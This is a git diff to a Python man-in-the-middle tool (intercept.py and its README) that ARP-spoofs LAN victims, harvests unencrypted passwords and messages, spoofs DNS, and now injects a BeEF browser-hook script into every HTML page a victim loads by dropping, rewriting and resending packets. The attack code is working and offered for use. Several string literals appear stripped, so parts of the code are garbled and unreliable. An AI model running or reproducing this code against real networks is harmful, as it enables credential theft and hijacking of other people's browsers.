diff --git a/README.md b/README.md index 9a4babf..add6010 100644 --- a/README.md +++ b/README.md @@ -3,7 +3,7 @@ intercept Individually arpspoofs the target box, router and DNS server if necessary. Displays all most the interesting bits of their traffic. Cleans up after itself. -Prereqs: Linux, scapy, python nfqueue-bindings, aircrack-ng, python twisted +Prereqs: Linux, scapy, python nfqueue-bindings, aircrack-ng, python twisted, BeEF (option) Example usage as root: python intercept.py -u -p -d -ip 192.168.0.10 @@ -37,6 +37,9 @@ python intercept.py -h -na, performs an aggressive nmap scan in the background and outputs to [victim IP address].nmap.txt +-b BEEF_HOOK_URL, copy the BeEF hook URL to inject it into every page the victim visits, eg: -b http://192.168.1.10:3000/hook.js + + Cleans the following on Ctrl-C: @@ -47,6 +50,7 @@ Cleans the following on Ctrl-C: individually restore each machine's ARP table + To do: Add ability to read from pcap file diff --git a/intercept.py b/intercept.py index 0260f6b..42a8f75 100755 --- a/intercept.py +++ b/intercept.py @@ -1,10 +1,6 @@ #!/usr/bin/python - ''' Description: MITMs another LAN client and prints all the interesting unencrypted info like passwords and messages. Asynchronous multithreaded arp spoofing packet parser. -Author: Dan McInerney -Contact: danhmcinerney gmail - Prerequisites: Linux nmap (optional) nbtscan (optional) @@ -16,6 +12,13 @@ Prerequisites: Linux Note: This script flushes iptables before and after usage. ''' +__author__ = 'Dan McInerney' +__license__ = 'GPL' +__email__ = 'danhmcinerney with gmail' +__version__ = 1.0 + +#################################################################### + import logging logging.getLogger("scapy.runtime").setLevel(logging.ERROR) @@ -103,7 +106,7 @@ class Parser(): catch_pkts = 0 full_pkt = '' full_load = '' - drop_load = [] + drop_body = [] start_time = 0 def start(self, payload): @@ -123,14 +126,6 @@ class Parser(): sport = pkt[TCP].sport ack = pkt[TCP].ack load = pkt[Raw].load -################################################# - if sport == 80: -# for x in self.drop_load: -# if load == x: -# payload.set_verdict(nfqueue.NF_DROP) -# return - self.beef(load, ack, pkt, payload) -################################################# mail_ports = [25, 26, 110, 143] if dport in mail_ports or sport in mail_ports: self.mailspy(load, dport, sport, IP_dst, IP_src, mail_ports, ack) @@ -140,6 +135,8 @@ class Parser(): self.ftp(load, IP_dst, IP_src) if dport == 80 or sport == 80: self.URL(load, ack, dport, sport) + if sport == 80 and args.beef: + self.beef(load, ack, pkt, payload) if args.dnsspoof: if pkt.haslayer(DNSQR): dport = pkt[UDP].dport @@ -149,36 +146,38 @@ class Parser(): dns_layer = pkt[DNS] self.dnsspoof(dns_layer, IP_src, IP_dst, sport, dport, localIP, payload) -################################################# def beef(self, load, ack, pkt, payload): - current_time = time.time() -############### Maybe test the next packet for having headers. If it does, then block it and inject? - if self.catch_pkts == 1 and current_time > self.start_time + 1: - for x in self.drop_load: - if load == x: - print '[-] load found in drop_load list' - payload.set_verdict(nfqueue.NF_DROP) - break - self.inject() + heads = 0 + try: + headers, body = load.split("\r\n\r\n", 1) + heads = 1 + except: + pass + if self.catch_pkts == 1: + if heads == 1 or ack != self.oldBEEFack: + heads = 0 + self.catch_pkts = 0 + self.inject() if self.catch_pkts == 1 and self.oldBEEFack == ack and self.oldBEEFack != 0: self.full_data = self.full_data+load - print '[+] Added data to the BeEF queue' + print '[+] Added data to the BeEF packet' payload.set_verdict(nfqueue.NF_DROP) return if 'Content-Type: text/html' in load and self.catch_pkts == 0: - self.start_time = time.time() print '[+] HTML packet found, starting BeEF queue' - self.drop_load.append(load) self.oldBEEFack = ack self.full_pkt = pkt self.full_data = load self.server = pkt[IP].src self.catch_pkts = 1 payload.set_verdict(nfqueue.NF_DROP) - return def inject(self): - url = ' ' + + html = ' ' + + body_found = 0 + if self.full_pkt != '' and self.full_data != '': try: @@ -197,27 +196,30 @@ class Parser(): print '[-] Could not decompress body of packet' self.full_data = '' self.full_pkt = '' - self.catch_pkts = 0 self.oldBEEFack = 0 return - if '') + if '' in body: try: - body = psplit[0]+' '+url+psplit[1] + psplit = str(body).split('') + body = psplit[0]+html+''+psplit[1] except: - print '[-] not found in load' + print '[-] not found in load' try: - psplit = str(body).split('') - body = psplit[0]+url+''+psplit[1] + psplit = str(body).split('') + body = psplit[0]+''+html+psplit[1] except: - print '[-] not found in load' + print '[-] Failed to inject html' self.full_data = '' self.full_pkt = '' - self.catch_pkts = 0 self.oldBEEFack = 0 return + # For debugging +# fp = open(str(self.oldBEEFack)+'.html', 'wb') +# fp.write(headers+"\r\n\r\n"+body) +# fp.close + # Recompress data if necessary if 'Content-Encoding: gzip' in headers: try: @@ -229,7 +231,6 @@ class Parser(): except: self.full_data = '' self.full_pkt = '' - self.catch_pkts = 0 self.oldBEEFack = 0 print '[-] Could not recompress html' @@ -239,7 +240,6 @@ class Parser(): print '[-] Could not split headers at Content-Length\n' self.full_data = '' self.full_pkt = '' - self.catch_pkts = 0 self.oldBEEFack = 0 return httpnewlength = str(len(headers+"\r\n\r\n"+body)) @@ -250,14 +250,11 @@ class Parser(): del self.full_pkt[IP].chksum del self.full_pkt[TCP].chksum - catch_pkts = 0 send(self.full_pkt) print '[!] Sent injected packet' self.full_data = '' self.full_pkt = '' - self.catch_pkts = 0 self.oldBEEFack = 0 -################################################# # Spoof DNS for a specific domain to point to your machine def dnsspoof(self, dns_layer, IP_src, IP_dst, sport, dport, localIP, payload):